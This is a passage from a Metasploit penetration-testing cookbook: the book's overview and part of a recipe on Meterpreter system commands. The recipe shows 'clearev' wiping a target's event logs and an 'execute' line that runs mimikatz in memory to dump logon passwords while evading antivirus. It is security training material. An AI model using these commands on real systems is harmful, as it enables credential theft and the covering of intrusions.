Metasploit Penetration Testing Cookbook - Third Edition

By: Daniel Teixeira, Abhinav Singh, Nipun Jaswal, Monika Agarwal

Overview of this book

Metasploit is the world's leading penetration testing tool and helps security and IT professionals find, exploit, and validate vulnerabilities. Metasploit allows penetration testing automation, password auditing, web application scanning, social engineering, post exploitation, evidence collection, and reporting. Metasploit's integration with InsightVM (or Nexpose), Nessus, OpenVas, and other vulnerability scanners provides a validation solution that simplifies vulnerability prioritization and remediation reporting. Teams can collaborate in Metasploit and present their findings in consolidated reports. In this book, you will go through great recipes that will allow you to start using Metasploit effectively. With an ever increasing level of complexity, and covering everything from the fundamentals to more advanced features in Metasploit, this book is not just for beginners but also for professionals keen to master this awesome tool. You will begin by building your lab environment, setting up Metasploit, and learning how to perform intelligence gathering, threat modeling, vulnerability analysis, exploitation, and post exploitation—all inside Metasploit. You will learn how to create and customize payloads to evade anti-virus software and bypass an organization's defenses, exploit server vulnerabilities, attack client systems, compromise mobile phones, automate post exploitation, install backdoors, run keyloggers, highjack webcams, port public exploits to the framework, create your own modules, and much more.

Understanding the Meterpreter system commands


Meterpreter system commands allow you to access system-specific commands without dropping to a shell session.

How to do it...

  1. clearev clears the Application, System, and Security logs on the target system:
meterpreter > clearev
[*] Wiping 525 records from Application...
[*] Wiping 1916 records from System...
[*] Wiping 1565 records from Security...
  1. The execute command executes a command on the target. The awesome thing about the execute command is that it allows us to run commands from memory without uploading the binary to the target, this way effectively bypassing several antivirus products.

In the next example, I will show you how to run mimikatz directly in memory. The command I will use is the following:

execute -H -i -c -m -d calc.exe -f /usr/share/mimikatz/x64/mimikatz.exe -a '"sekurlsa::logonPasswords full" exit'

From the preceding command:

    • -H hides the process
    • -i allows us to interact with the process after we create it
    • -c channels the I/O
    • ...
